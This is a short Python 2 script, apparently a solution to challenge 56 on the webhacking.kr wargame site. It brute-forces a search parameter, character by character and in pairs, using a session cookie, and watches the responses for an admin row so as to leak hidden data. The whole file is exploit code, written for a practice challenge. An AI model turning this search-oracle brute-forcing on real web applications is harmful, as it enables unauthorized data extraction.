webhacking.kr_56

from urllib2 import *
import urllib
session = ""
for x in xrange(0x20, 0x7f):
    data = urllib.urlencode({"search":chr(x)})
    req = Request("http://webhacking.kr/challenge/web/web-33/", data)
    req.add_header("Cookie", "PHPSESSID="+session)
    s = urlopen(req).read()
    if s.find("<td>1</td><td>admin</td><td>") != -1:
        print chr(x)

l1 = "%.0_hkp"

for x in l1:
    for y in l1:
        data = urllib.urlencode({"search":x+y})
        req = Request("http://webhacking.kr/challenge/web/web-33/", data)
        req.add_header("Cookie", "PHPSESSID="+session)
        s = urlopen(req).read()
        if s.find("<td>1</td><td>admin</td><td>") != -1:
            print x+y
        data = urllib.urlencode({"search":y+x})
        req = Request("http://webhacking.kr/challenge/web/web-33/", data)
        req.add_header("Cookie", "PHPSESSID="+session)
        s = urlopen(req).read()
        if s.find("<td>1</td><td>admin</td><td>") != -1:
            print y+x

for x in l1:
    data = urllib.urlencode({"search":"kk.php"+x})
    req = Request("http://webhacking.kr/challenge/web/web-33/", data)
    req.add_header("Cookie", "PHPSESSID="+session)
    s = urlopen(req).read()
    if s.find("<td>1</td><td>admin</td><td>") != -1:
        print x+"kk.php"